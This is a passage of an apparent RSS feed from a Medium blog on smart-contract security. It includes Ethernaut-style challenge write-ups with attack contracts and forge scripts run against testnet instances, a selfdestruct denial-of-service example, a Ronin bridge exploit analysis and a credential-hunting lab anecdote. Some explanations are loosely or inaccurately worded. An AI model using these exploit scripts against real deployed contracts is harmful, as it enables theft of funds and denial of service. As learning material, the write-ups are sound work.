VUSD::withdraw(0)<br> │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: 0x0000000000000000000000000000000000000000, value: 0)<br> │ └─ ← [Stop]<br> .<br> .<br> .<br> .<br> .<br> .<br> ├─ [18146] VUSD::withdraw(0)<br> │ ├─ emit Transfer(from: spider: [0xB279F90f644e63EAca636d78E1d3fcC206632F63], to: 0x0000000000000000000000000000000000000000, value: 0)<br> │ └─ ← [OutOfGas] EvmError: OutOfGas<br> └─ ← [Revert] EvmError: Revert<br>Backtrace:<br>at VUSD.withdraw<br> at TestVUSD.testprocesswithdrawWith0<br>Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 838.72ms (832.54ms CPU time)<br> <br>Ran 1 test suite in 1.31s (838.72ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)<br>Failing tests:<br>Encountered 1 failing test in test/TestVUSD.t.sol:TestVUSD<br>[FAIL: EvmError: Revert] testprocesswithdrawWith0() (gas: 1073720510)<br>Encountered a total of 1 failing tests, 0 tests succeeded</pre><h3>Conclusion:</h3><pre>Ran 6 tests for test/TestVUSD.t.sol:TestVUSD<br>[PASS] testgetDecimal() (gas: 5721)<br>[PASS] testinit() (gas: 393543)<br>[PASS] testmintWithReserve() (gas: 552695)<br>[PASS] testprocessWithdrawals() (gas: 612344)<br>[FAIL: EvmError: Revert] testprocesswithdrawWith0() (gas: 1073720510)<br>[PASS] testwithdraw() (gas: 549404)<br>Suite result: FAILED. 5 passed; 1 failed; 0 skipped; finished in 281.90ms (282.31ms CPU time)<br><br>Ran 1 test suite in 286.33ms (281.90ms CPU time): 5 tests passed, 1 failed, 0 skipped (6 total tests)<br>Failing tests:<br>Encountered 1 failing test in test/TestVUSD.t.sol:TestVUSD<br>[FAIL: EvmError: Revert] testprocesswithdrawWith0() (gas: 1073720510)<br>Encountered a total of 1 failing tests, 5 tests succeeded</pre><ul><li>In a Defi based protocol there should some constraints on the function which are used to</li><li>Deposit</li><li>withdraw</li><li>process, etc</li><li>Like for this contract it would have been better if there should be a require() statement that states the minimum amount a user can withdraw.</li></ul><pre>function withdraw(uint256 amount) external {<br>	require(amount&gt;0,&quot;Cant withdraw the 0 amount&quot;);<br>	burn(amount);<br>	withdrawals.push(Withdrawal(msg.sender, amount));<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33978adde211" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ronin V2 Bridge: How a Skipped Initializer Nearly Cost Ronin 400 ETH]]></title>
            <link>https://spider-256.medium.com/ronin-v2-bridge-how-ronin-looses-400-ether-46ce433305d4?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/46ce433305d4</guid>
            <category><![CDATA[bridge]]></category>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[ronin]]></category>
            <category><![CDATA[invariants]]></category>
            <category><![CDATA[crosschain]]></category>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Fri, 24 Jul 2026 22:24:11 GMT</pubDate>
            <atom:updated>2026-07-24T22:49:48.154Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is Ronin? How It Works ?</h3><ul><li>A EVM compatible chain made for particularly for games. Where user or players win or loose there assets {ERC20 Token} Ronin chain uses WETH {ERC20 token for transaction}.</li><li>Ronin was one of the most trusted platform where players trust the protocol is safe until August 6 2024.</li></ul><h3>The Attack</h3><p>On August 6 2024 Ronin upgrade there Ronin V1 Bridge to Ronin V2 Bridge using proxy pattern by this upgrade the MEV of Ronin V2 Bridge get compromise.</p><h3>Upgradeable Smart Contracts ?</h3><p>As Block chain is known for its immutable property once deployed it can not be changed but there is still a way to upgrade a smart contract business logic using Proxy Pattern</p><ul><li>By using Proxy Pattern smart contract is divided into two contracts:</li><li>The Implementation Contract</li><li>The Proxy Contract</li></ul><p><strong>Implementation Smart Contracts:</strong></p><ul><li>This contract only holds the business logic of the Protocol</li><li>This contract can be upgrade for future features by deploying a whole new implementation contract.</li></ul><p><strong>Proxy Smart Contract:</strong></p><ul><li>Holds the state Variable of the same Protocol</li><li>This is what user interact with by using delegatecall.</li><li>Upgradability of Smart contract is possible but with some constrains.</li></ul><h4>What is Ronin V2 Bridge and What was the Bug.</h4><ul><li>A Bridge protocol use to move assets or data from one Blockchain to another.</li><li>This bridging can only be done if both Blockchain authorise to each other.</li><li>Ronin V2 Bridge: Ronin V2 Bridge added 2 separate initialisation function to the V1 bridge.</li><li>The Bug: Failed to properly initialise the operator weight configuration during deployment of latest Bridge{V2 Bridge}.</li></ul><h4>The Bug Exploitation</h4><ul><li>On August 6 2024 the implementation contract upgraded twice from <br>2-&gt;4.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ZBfBoinF25QgldnLsJLuQ.png" /><figcaption>Implementation Contract</figcaption></figure><p>Major Upgrades: added two new separate Initialise function<br>initializeV3 &amp; initializeV4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bnBH7D76SDVl7Wh-aV423g.png" /></figure><ul><li>Issue: As only initializev4() function was executed skipping the initializeV3() {which holds the weight math logic}.<br> - and only because of this the value for _totalweight which is a uint96 defaults to 0.</li><li>MEV found this exploit transaction in the pool which leads the attacker to executes the attack transaction.</li></ul><h4>Exploit Attack:</h4><ul><li>Attacker uses the fallback function of a abstract proxy contract which delegate the call to the MainGatewayV3 contract&#39;s submitwithdrawl() function.</li></ul><pre>Attacker --------------&gt; abstract Proxy Contract ------------&gt; MainGatewayV3<br>		{fallback()}	                        {delegatecall}</pre><ul><li>After delegatecall {a low-level call used in proxy patterns to call the function in implementation contract to upgrade the state} call the _submitWithdrawal() function which calls the _computeMinWeight() functions which gives (minimum weight and locked variable).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kw4hAxzcpr10h2KSMC9tkQ.png" /><figcaption>_submitWithdrawal() MainGatewayV3 contract</figcaption></figure><p>As in this contract the _totalOperatorWeight can be extracted by calling getTotalWeight() function.</p><ul><li>As there was no _totalweight logic inside the initializeV4() function so, _totalOperatorWeight defaults to 0.</li><li>which makes _weight and minimumWeight also 0.</li></ul><pre>No totalweight logic inside initializeV4()<br>	|<br>	| defaults uint96 -&gt; 0 <br>	V<br>	getTotalWeight() returns 0<br>	|<br>	|<br>	V<br>	Inside _computeMinVoteWeight() logic<br>	|<br>	|<br>	V<br>	_weight = minimumWeight = 0</pre><ul><li>Which makes locked false and making locked in _submitWithdrawal() also false.</li><li>By this all the check also get passed</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K_h5JD26FxPdo1wKCesRUg.png" /></figure><pre>weight = 0<br>minimumWeight = 0 <br>as per the constraints <br><br>if(weight &gt;= minimumweight){<br>	passed = true;<br>	break<br>}<br><br>as weight = minimumweigth = 0 <br>passed set as true.</pre><p>As passed is set to true this allows handleAssetOut() function to be called.</p><ul><li>handleAssetOut() was called with 400 eth</li><li>handleAssetOut() function hold transfer logic which allow the attacker to withdraw 400 eth from the protocol.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isSUHESIuHXiQ1RXSFQxqA.png" /></figure><h3>Conclusion</h3><p>The attack can be prevented through several of ways</p><ul><li>A security audit.</li><li>By testing the contract Invariants</li><li>By using access control</li></ul><p>A formal security audit costs a fraction of what a single exploit can drain. The Ronin V2 bridge lost ~400 eth because initializeV3() was skipped during deployment — a bug that would have been caught by invariant testing or a deployment checklist</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46ce433305d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How do tokens move between completely different blockchains securely?]]></title>
            <link>https://spider-256.medium.com/how-do-tokens-move-between-completely-different-blockchains-securely-52aa251183bd?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/52aa251183bd</guid>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Mon, 01 Jun 2026 06:26:16 GMT</pubDate>
            <atom:updated>2026-06-01T06:26:16.888Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How do tokens move between completely different blockchains securely? That’s exactly what Chainlink CCIP solves.</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jcOCsUZyVa02I9PD2g9HBA.png" /></figure><p>Every blockchain is isolated by default. Ethereum can’t talk to Avalanche natively.<br> CCIP is the protocol that bridges that gap.</p><h3>What is CCIP</h3><p>CCIP stands for Cross chain Interoperability protocol as per the name it is a protocol that allow diverse blockchain to perform standard tasks like token transferring, sending messages from one block chain to other.</p><h3>Use of CCIP</h3><p>As blockchain is a awesome technology and there are different types of blockchain but it do have there own pros and cons but the common problem for every blockchain is diversity:<br> How a user can send tokens from one chain to completely different chain ?.</p><ul><li>The answer of above question is <strong>CCIP&#39;s Bridging Mechanisms</strong></li></ul><h3>How CCIP Bridge works</h3><h3>Types of CCIP Bridging</h3><p>There are 4 types of Bridging mechanisms</p><ul><li>Burn &amp; Mint</li><li>Lock &amp; Unlock</li><li>Burn &amp; Unlock</li><li>Lock &amp; Mint<br> Most used and most secured is Burn &amp; Mint bridging.</li><li>This protocol have 3 main heads</li><li>A Source Chain</li><li>A Destination Chain</li><li>A DON{Decentralised Oracle Network}</li><li><strong><em>Source Chain</em></strong></li><li>A user from source chain sends some token to another user which is on Destination chain</li><li>Prerequisite:</li><li>The amount of tokens</li><li>The chain Id of the Destination chain</li><li>The address of the user</li><li>After all the Prerequisite is collected by the user it initiates the transaction then CCIP’s Bridges comes in action</li><li>As per the blockchain any 1 of the 4 bridge is used</li><li>For this let say it uses Lock &amp; Unlock bridge.</li><li>So on the source chain the amount of the token that need to be send to the user on Destination chain being locked from the liquidity pool of the source chain.</li><li><strong><em>DON{Decentralised Oracle Network}</em></strong></li><li>DON verifies all the prerequisite from the Source chain and cross checks it from the Destination Chain’s user.</li><li>All the transfer security is being checked and analysed by DON.</li><li>DON are managed by RMN {Risk management Network}.</li><li>RMN make sure the info or the data from source chain should be reached to Destination chain without tampering.</li><li><strong><em>Destination Chain</em></strong></li><li>After DON verifies the user on Destination receives the token from Source Chain.</li><li>By unlocking the same amount of tokens that has been locked from the liquidity pool of the Destination chain.</li></ul><p>Every chain has its own Liquidity pool and which bridging technique should be used it depends on the blockchain.<br> And this is how CCIP and its bridging techniques works and solve the known problem of the blockchain.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52aa251183bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[tHE kING]]></title>
            <link>https://spider-256.medium.com/the-king-68c5d21d0a02?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/68c5d21d0a02</guid>
            <category><![CDATA[king-ethernaut]]></category>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Tue, 12 May 2026 06:08:13 GMT</pubDate>
            <atom:updated>2026-05-12T06:08:13.708Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uX5On6cfxsq_977avYtcvA.png" /></figure><h3>🎯 Objective:</h3><ul><li>This contract’s objective is to get the title of King for Eternity.</li></ul><h3>📄 Contracts Overview</h3><h3>King</h3><ul><li>This contract have 3 important variable and 1 constructor.</li><li>king: private visibility</li><li>prize: public visibility</li><li>owner: public visibility</li><li>Constructor : It passes all three variables as initial for this contract</li></ul><pre>address king;<br>uint256 public prize; <br>address public owner; <br>constructor() payable { <br>  owner = msg.sender; <br>  king = msg.sender; <br>  prize = msg.value; <br>}</pre><h3>🧠 Vulnerability: King</h3><ul><li>The core vulnerability of this contract is the use of a state variable in place of global variable msg.sender.</li></ul><pre>receive() external payable {<br>	require(msg.value &gt;= prize || msg.sender == owner);<br>	payable(king).transfer(msg.value);<br>	king = msg.sender;<br>	prize = msg.value;	<br>}</pre><ul><li>This Contract’s receive function is vulnerable as a state variable is been misused in place of a standard global variable which force this contract to be vulnerable for DoS attack</li></ul><h3>Attack Flow:</h3><ul><li>To exploit this contract the attacker must have a good understanding of state variable and global variable. And must know how contracts receive’s ether.</li></ul><pre>Attacker made a contract that only sendes ether but there is niether reveive nor fallback function.<br>|<br>V<br>When the empty contract sends ether to the King contract, it trigger<br>payable(king).transfer(msg.value);<br>but the issue is here the caller of this contract is a contract with no receive functions.<br>|<br>V<br>So it wont proceed further and make the king to the Attack contract and crash the king contract Functionality.</pre><ul><li>if the code used msg.sender instead of the state variable then this contract will not vulnerable to the DoS attack.</li></ul><pre>payable(msg.sender).transfer(msg.value);</pre><ul><li>this will send the ether back to the address from where it receives the ether.</li></ul><h3>🧪 Test — TestKing.t.sol</h3><p>TestNameWhatitCheckstestKingChangedIfCalledByaUSERIt checks whether the king changes If the a user sends ether to the King contract. Where the amount of ether is greater than the previous sender.testIfKingChangedifCalledByaContractIt checks the king should not changed if a contract without any receive function{attack contract} sends ether to the King contract.</p><h3>Key exploit(in test):</h3><ul><li>testKingChangedIfCalledByaUSER |It checks whether the king changes If the a user sends ether to the King contract. Where the amount of ether is greater than the previous sender.</li><li>testIfKingChangedifCalledByaContract |It checks the king should not changed if a contract without any receive function{attack contract} sends ether to the King contract.</li></ul><pre>//Arrange 2<br>vm.deal(address(attack), 10 ether);<br>vm.startPrank(address(attack));<br>//Act 2<br>(bool success1,) = address(kingContract).call{value: 6 ether}(&quot;&quot;);<br>require(success1, &quot;New King Failed TO throne&quot;);<br>vm.stopPrank();<br>//Assert 2<br>assertEq(kingContract._king(), address(attack));<br>assertEq(kingContract.prize(), 6 ether);<br></pre><pre>//Arrange 3<br>vm.startPrank(ghost);<br>//Act 3<br>vm.expectRevert();<br>(bool success2,) = address(kingContract).call{value: 7 ether}(&quot;&quot;);<br>require(success2, &quot;New King2 Failed To Throne&quot;);<br>vm.stopPrank();<br>//Assert 3<br>assertEq(kingContract._king(), address(attack));<br>assertEq(kingContract.prize(),6 ether);</pre><ul><li>The key exploit in this test file is:</li><li>When the empty contract sends ether to the King contract, it trigger payable(king).transfer(msg.value);</li><li>but the issue is here the caller of this contract is a contract with no receive functions.</li><li>So it wont proceed further and make the king to the Attack contract and crash the king contract Functionality.</li></ul><h3>🚀 On-Chain — AttackKingScript.s.sol</h3><pre>//SPDX-License-Identifier: MITpragma solidity ^0.8.18;<br>import {King} from &quot;../src/King.sol&quot;;<br>import {AttackKing} from &quot;../src/AttackKing.sol&quot;;<br>import {Script, console} from &quot;forge-std/Script.sol&quot;;<br>contract AttackKingScript is Script {<br>      address public target = 0x2E02e99B97b922811dCa50387BA2B469FFEB42a8;<br>      AttackKing public attack;<br>      function run() external{<br>	  vm.startBroadcast();<br>	  attack = new AttackKing();<br>	  attack.calltheKingFunction{value:0.01 ether}(target);<br>	  console.log(&quot;New King is Crowned&quot;);<br>	  vm.stopBroadcast();<br>      }<br>  }</pre><ul><li>This Script:</li><li>It sends some ether to the king contract which is called by the attack contract.</li></ul><h3>🛠️ How to Run</h3><h3>Run Tests(Local Anvil)</h3><pre>forge test --mt testKingChangedIfCalledByaUSER -vvvv</pre><h3>Deploy &amp; Attack (On-chain)</h3><pre>forge script script/AttackKingScript.s.sol --rpc-url $RPC_SEPOLLIA_URL --private-key $PRIVATE_KEY --broadcast</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68c5d21d0a02" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Vault]]></title>
            <link>https://spider-256.medium.com/the-vault-b30b9ae8456e?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/b30b9ae8456e</guid>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Mon, 11 May 2026 07:10:53 GMT</pubDate>
            <atom:updated>2026-05-11T07:10:53.726Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NU4SWh8yhf4J6CPayK1M7g.png" /></figure><h3>🎯 Objective:</h3><ul><li>This contract objective is to get the password so that it can be passed as parameter, if the user passes the correct password then the locked will change the value to false.</li><li>Private visibility is not Privacy.</li></ul><h3>📄Contracts Overview</h3><h3>Vault</h3><ul><li>This contract have 3 important variables:</li><li>locked: public visibility.</li><li>password: private visibility.</li><li>Constructor: pushes byte32 password and store it and set initial value of locked to be true.</li><li>bool public locked; bytes32 private password; constructor(bytes32 _password) { locked = true; password = _password; }</li></ul><h3>🧠Vulnerability: Vault</h3><ul><li>The core vulnerability of this contract is even though it use a private visibility but still it can be seen by its storage slot and can be exploited.</li><li>As per the contract a bytes32 type should be passed to the function unlock the vault.</li><li>If there is way to see the initial value of slots then it can be exploited.</li></ul><pre>constructor(bytes32 _password) {<br>		locked = true;<br>		password = _password;<br>	}</pre><ul><li>As the there are 2 slot:</li><li>slot 0: bool public locked</li><li>slot 1: bytes32 private password</li><li>However solidity have a way to see through the storage slot.</li><li>vm.load(): This is the way through which a user can see the storage slots.</li></ul><h3>Attack Flow:</h3><ul><li>To exploit this contract vm.load() can be used as it allow to user to see the storage slots</li><li>vm.load(&lt;address(contract)&gt;,&lt;slot_number&gt;);</li></ul><pre>As soon as the Target Contract is Deployed<br>  |<br>  V<br>  Uses vm.load()<br>  | attacker uses vm.load() with the target contract address and the slot number <br>  | <br>  V<br>  Vault.unlock()<br>  | call the unlock function with the result of the vm.load() function.<br>  V<br>  Which turns locked variable value to false.</pre><ul><li>Even though the password variable is private but it still can be exploited.</li><li>🧪 Test — TestVault.t.sol</li></ul><p>TestName What it Checks testLockedValueChanges It checks whether it changes the initial value of locked parameter or not</p><h3>Key exploit(in test):</h3><pre>bytes32 storageValue = vm.load(address(vault), bytes32(uint256(1)));<br>	<br>	initialLockedValue = vault.locked();<br>	console.log(&quot;This is the initilaValue of Locked&quot;, initialLockedValue);<br>	vault.unlock(storageValue);<br>	finalLockedValue = vault.locked();<br>	console.log(&quot;This is the FinalValue of Locker&quot;, finalLockedValue);</pre><ul><li>The key exploit in this test file is:</li><li>bytes32 storageValue = vm.load(address(vault), bytes32(uint256(1)));</li><li>The vm.load() can see the slot1 and saves it in bytes32 storageValue.</li><li>Then it can be used as the parameter for the unlock function.</li><li>which changes the value of Locked Parameter.</li><li>Initially the value was true.</li><li>After calling the unlock function the value changes to false.</li></ul><h3>🚀On-Chain — AttackVaultScrip.s.sol</h3><pre>function run() external {</pre><pre>	address instance = 0x040d1d7DA51A6C07Dc9dd6D122AC26a78d17dc6D;<br>	bytes32 password = vm.load(instance, bytes32(uint256(1)));<br>	console.log(&quot;The password is: &quot;);<br>	console.logBytes32(password);<br>	vm.startBroadcast();<br>	Vault(instance).unlock(password);<br>	vm.stopBroadcast();<br>	}</pre><ul><li>This script Automates</li><li>this passes the bytes32 password as the parameter for the unlock function.</li></ul><h3>🛠 How to Run</h3><h3>Run Tests (Local Anvil)</h3><pre>forge test --mt testLockedValueChanges -vvv</pre><h3>Deploy &amp; Attack (On-chain)</h3><pre>forge script script/AttackVaultScript.s.sol --rpc-url $RPC_SEPOLLIA_URL --private-key $PRIVATE_KEY --broadcast</pre><ul><li>vm.load(): see&#39;s the storage slot and saves it.</li><li>it takes 2 parameter:</li><li>the address of the contract.</li><li>the storage slot number.</li><li>cast: It can also be used after deploying the contract. It is foundry tool that can be used to interact with the contract.</li></ul><pre>cast storage &lt;Address_contract&gt; &lt;storage_slot_numner&gt; --rpc-url $RPC_SEPOLLIA_URL --private-key $PRIVATE_KEY</pre><h3>📁 Project Structure</h3><pre>├── src/<br>│   └──Vault.sol      # unlock()<br>├── script/<br>│   ├── DeployScript.s.sol<br>│   └── AttackVault.s.sol<br>└── test/<br>    └── TestVault.t.sol</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b30b9ae8456e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SelfDestruct]]></title>
            <link>https://spider-256.medium.com/selfdestruct-65ab10943c42?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/65ab10943c42</guid>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Fri, 08 May 2026 07:02:56 GMT</pubDate>
            <atom:updated>2026-05-12T06:12:07.167Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n58vAknwHrhKN74VsrhbeA.png" /></figure><h3>SelfDestruct a Smoking Gun</h3><ul><li>This is a way to transfer the total balance of a Contract to a destined Contract.</li><li>SelfDestruct is used to delete the smart contract from the blockchain and send all its balance to the another contract.</li></ul><pre>selfdestruct(payable(address(target)));</pre><ul><li>This is also a vulnerability that can be used by the attacker to delete a smart contract from the block chain. Its more like a DoS attack {Denial of Service} where <strong>locking the state</strong> or <strong>breaking the logic</strong> so that functions revert forever so it cant be accessible anymore.</li><li>Example:</li><li>There is a contract that should have total of 7 ether and there are total 7 players who can only fund 1 ether:</li></ul><pre>contract Game {<br> uint256 public constant TOTAL_BALANCE = 7 ether;<br> address public winner<br>   function deposit() external{<br>     require(msg.value==1 ether, &quot;Cant send more than 1 ether&quot;)<br>     uint256 balance = address(this).balance;<br>     require(balance &lt;= TOTAL_BALANCE);<br>     if(balance == TOTAL_BALANCE){<br>       winner = msg.sender;<br>      }<br>   }<br>   function claimReward() public { <br>     require(msg.sender == winner, &quot;Not winner&quot;); <br>     (bool sent,) = msg.sender.call{value: address(this).balance}(&quot;&quot;);<br>     require(sent, &quot;Failed to send Ether&quot;); }<br>  }</pre><ul><li>Attack:</li></ul><pre>contract Attack{ <br> Game game; <br> constructor(Game _game){ <br>   game = Game(_game); <br>  }<br>  function attak() public { <br>     address payable addr = payable(address(game)); <br>     selfdestruct(addr); <br>     } <br> }</pre><ul><li>So what it does is:</li><li>The Attack contract selfdestruct() the contract Attack and tranfer the 0.5 ether to the Game contract.</li><li>So what happens is:</li><li>Lets say before the Attack contract the balance is 6 and then when attack contract executed the contract sends 0.5 ether to it which makes the balance:<br> 6.5 ether.</li><li>When the 7th player tries to send 1 ether it breaks the logic of the smart contract like:</li><li>6.5 ether + 1 ether = 7.5 ether {7.5 &gt; 7 ether} which reverts the logic flow.</li><li>So it breaks the smart contract and force the smart contract to stuck and this is how no winners are choosed.</li></ul><h3>Conclusion:</h3><ul><li>The selfdestruct can be used by attacker to force stop the other smart contract&#39;s functionality with Dos Attack and breaks the logic. But it do can send ether to a empty contract.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=65ab10943c42" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AbiEncodes & Keecak256]]></title>
            <link>https://spider-256.medium.com/abiencodes-keecak256-2bace2a19938?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bace2a19938</guid>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Wed, 06 May 2026 18:25:43 GMT</pubDate>
            <atom:updated>2026-05-06T18:27:01.916Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1r3hALoLL00j82fjDnA35w.png" /></figure><h3>Function Selector:</h3><ul><li>Use to interact with the function without calling it,</li><li>It take first 4 bytes of the function as the parameter</li></ul><h3>Function Signature:</h3><ul><li>Use to interact with the Function Without calling it</li><li>It takes the dataTypes of the Parameter not the value but only the DataTypes</li></ul><h3>The Process</h3><ul><li>As mentioned above both of them can be achieved by using the abi.encode() a global variable or can use keccak256 and other encryption types too.</li><li>Example:</li><li>function transfer(address someAddress, uint256 amount) public { // Some code s_someAddress = someAddress; s_amount = amount;</li><li>There is a function named transfer() have two parameter:</li><li>address someAddress</li><li>uint256 amount</li><li>There are several ways that this function can be called in low-level:</li><li>By using keccak256 &amp;</li><li>By using abi.encode()</li><li>More on Function Selector and Signature:</li><li>Ways to get Function Selector:</li><li><strong><em>1st</em></strong>: Function Selector can be obtained so easily for a reference:</li><li>The function Selector for the function transfer() can be obtained but using function signature i.e. transfer(address,uint256)</li><li>So it can be obtained by the function:</li><li>function getSelector() public pure returns(bytes4 selector){ selector=bytes4(keccak256(bytes(&quot;transfer(address,uint256)&quot;))) }</li><li>The above function will return 0xa9059cbb so this is the selector for the function transfer().</li><li><strong><em>2nd</em></strong>: Function Selector can be also obtained by the data that is been given to to function.</li><li>function getSelectortwo() public view returns(bytes4 selector){ bytes memory functioncallData = abi.encodeWithSignature(&quot;transfer(address,uint256)&quot;, address(this), 123); selector = bytes4(bytes.concat(functioncallData[0], functioncallData[1], functioncallData[2], functioncallData[3])); }</li><li>The above function will return 0xa9059cbb so this is the selector for the function transfer().</li><li>As can be seen that there is not only the function signature but also the parameters has been encoded.</li><li>So the byte array will looks like:</li><li>Bytes 0 to 3: the Function Selector(4 bytes).</li><li>Bytes 4 to 36: padded to address(this). argument(32 bytes).</li><li>Bytes 37 to 68: padded to 124. value(32 bytes).</li><li>The Byte Distribution</li><li>functioncallData[0]: The first byte of the 4-byte function selector.</li><li>functioncallData[1]: The second byte of the function selector.</li><li>functioncallData[2]: The third byte of the function selector</li><li>functioncallData[3]: The fourth byte of the function selector.</li><li>[0x a9 05 9c bb] [000...address(this)] [000...123]</li><li>└──────────────┘ └───────────────────┘ └────────┘</li><li>bytes 0–3 bytes | 4–35 bytes 36–67 Function Selector address arg (32B)| uint256 arg (32B)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bace2a19938" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Journey from a CTF player to a Web3 Security Auditor]]></title>
            <link>https://spider-256.medium.com/the-journey-from-a-ctf-player-to-a-web3-security-auditor-2722a5bf8a3b?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/2722a5bf8a3b</guid>
            <category><![CDATA[security-audit]]></category>
            <category><![CDATA[web3-security]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Wed, 08 Apr 2026 15:39:39 GMT</pubDate>
            <atom:updated>2026-04-08T15:39:39.078Z</atom:updated>
            <content:encoded><![CDATA[<p>It’s been around 3–4 months since I made one of the most important decisions of my career — transitioning from a Web2 penetration tester to a Web3 security auditor.</p><p>At that moment, I wasn’t entirely sure where the path would lead. But looking back now, I can confidently say — it was the right decision.</p><p>The Web3 ecosystem opened up a completely new world for me. From understanding smart contracts and EVM internals to diving into security vulnerabilities unique to decentralized systems — every step has been both challenging and exciting.</p><p>What changed the most isn’t just what I’m learning — it’s how I’m thinking.</p><p>I feel more focused.<br> More structured.<br> More aligned with long-term goals.</p><p>Blockchain security isn’t just a skill — it’s a mindset. And I’m still in the early stages, but I can already see the growth.</p><p>I truly believe that the path I’ve chosen will pay off — not overnight, but through consistency, discipline, and continuous learning.</p><p>The journey is just getting started.</p><p>Next step:<br> Actively participating in platforms like Code4rena and CodeHawks to test my skills in real-world scenarios.</p><p>Let’s see where this takes me.</p><p><strong>Wish me luck. 🚀</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2722a5bf8a3b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Challenge I faced While Password attacks]]></title>
            <link>https://spider-256.medium.com/the-challenge-i-faced-while-password-attacks-a80ac72ccda5?source=rss-4c2f9f19b232------2</link>
            <guid isPermaLink="false">https://medium.com/p/a80ac72ccda5</guid>
            <dc:creator><![CDATA[Spider256]]></dc:creator>
            <pubDate>Wed, 15 Oct 2025 19:00:21 GMT</pubDate>
            <atom:updated>2025-10-15T19:00:21.328Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1TI5D49oL21Dzkb8B0lqdQ.png" /></figure><p>Hi guys its spider here a penetration tester so recently i was sharpening my skill by solving a lab from <strong>HacktheBox</strong> which is a great platform to learn an intermediate level of skill in cyber security. <br>Lets so i get to know a lessons that if a script exists on a target so it might not meant to be executed, <br>So what happen i was given a challenge where i have to find a default password for a given domain i tried many methods like findstr, collecting <strong>sam, security and system</strong> file and many more but what i was getting a fail results <br>After doing research i get to know what i was doing wrong, so first i updated my <strong>findstr script </strong>and then got a result after so many tries i got a script named <strong>Bulkaddusers</strong> with extension of <strong>.ps1 {<em>Bulkaddusers.ps1</em>}<br>After </strong>getting this i started to execute it but it was set with a policy which was making it difficult to run this script.<br>So after spamming “How to bypass the execution policies to run the ps1 script” on internet i got a thought that “if there’s a existing script then there might be a chance of getting access to the script logic and the code inside the script then i open the script content on the notepad and “Wallllaahhhhhhhhh!” i got a password which was a default one.<br>From there i learned if theres a script inside a machine then it execution of the script is not only the option the script can also be used for getting default credential or i can say it can be used for credential hunting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1TI5D49oL21Dzkb8B0lqdQ.png" /></figure><p>Happy Hunting!<br>Spider.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a80ac72ccda5" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>